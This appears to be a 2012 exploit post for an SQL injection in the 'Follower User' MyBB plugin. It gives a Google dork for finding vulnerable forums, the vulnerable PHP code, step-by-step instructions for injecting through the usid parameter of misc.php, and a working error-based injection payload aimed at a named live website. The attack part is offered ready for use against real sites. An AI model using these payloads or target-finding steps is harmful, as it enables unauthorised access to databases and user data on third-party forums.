# Exploit Title: Follower User MyBB plugin SQL Injection 0day# Google Dork: intext:"Users subscribed to" inurl:member.php -site:fwcombie.us# Date: 13.10.2012# Exploit Author: Zixem# Software Link: http://mods.mybb.com/view/suscriber-user# Version: 1.5+# Tested on: Linux.----------------------------------------------
The vulnerabillity exist within SuscribeUsers.php on SuscribeUsers_add():<?
$usid = $mybb->input[usid];//Line 671
$uid = $mybb->input[uid];//Line 672if(user_awaiting($uid,$usid))//Line 781{//Line 782
redirect("member.php?action=profile&uid=".$usid."#suscriberuser", $lang->double_suscription_awaiting,$lang->suscriberuser);// Line 783}//Line 784
?>----------------------------------------------
Instructions:1. Create a new account on the target site.2. Check your User ID by entering your profile link and write it down.3. Enter here and start to inject your code:/misc.php?suscriberuser=yes&usid='[SQLi]--+-&uid=[Your_User_ID]----------------------------------------------
Demo:
http://www.chidomobil-gc.com/misc.php?suscriberuser=yes&usid=' or1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0)--+-2&uid=[your_uid]
Image : http://i.imgur.com/eGhzJ.png
Follow: https://twitter.com/PonyBlaze
Shotouts goes to FillySec.